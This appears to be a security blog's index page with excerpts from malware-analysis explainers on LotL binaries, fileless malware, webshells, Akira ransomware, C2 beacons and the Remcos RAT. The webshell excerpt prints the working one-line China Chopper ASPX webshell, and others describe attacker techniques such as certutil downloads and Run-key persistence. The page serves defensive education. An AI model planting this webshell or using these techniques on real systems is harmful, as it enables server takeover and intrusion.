Blog
Malware AnalysisWhat Is Malware Analysis?
sha256sum sample.bin is minute zero. What you do in minute one splits into four methods, and each one has a wall you hit. Static triage reads the file without running it. Hashes, PE header, sections,…
2026-04-178 min read
Malware AnalysisWhat Is Living off the Land (LotL) in Attacks?
certutil.exe ships on every Windows install, is signed by Microsoft, sits in C:\Windows\System32, and will fetch a file from a URL onto disk. That last part is not a bug. It is what the certificate…
2026-01-169 min read
Malware AnalysisWhat Is Fileless Malware?
Almost nothing is entirely fileless. The DoublePulsar backdoor that EternalBlue installs ends up in kernel memory with no file written, and that is the rare pure case. Everything else people call…
2025-12-307 min read
Malware AnalysisWhat Is a Webshell?
China Chopper's server component is one line of ASPX. <%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%> That line, dropped anywhere under a web root that IIS will hand to the…
2025-12-2011 min read
Malware AnalysisWhat Is Ransomware?
Akira's encryptor runs as w.exe, appends .akira or .powerranges to the files it touches, and drops akira_readme.txt into C:\ and each user's home directory under C:\Users. CISA documented all three…
2025-12-1110 min read
Malware AnalysisWhat Is a Command-and-Control (C2) Server?
A Cobalt Strike Beacon configured with sleep 60 0 sends an HTTP request to its team server every sixty seconds, forever, until an operator tells it otherwise. An implant that cannot reach its…
2025-11-269 min read
Malware AnalysisWhat Is a Remote Access Trojan (RAT)?
Remcos adds itself to HKCU\Software\Microsoft\Windows\CurrentVersion\Run and then does nothing until an operator connects. That pause is the whole point. A remote access trojan is not a payload that…
2025-11-199 min read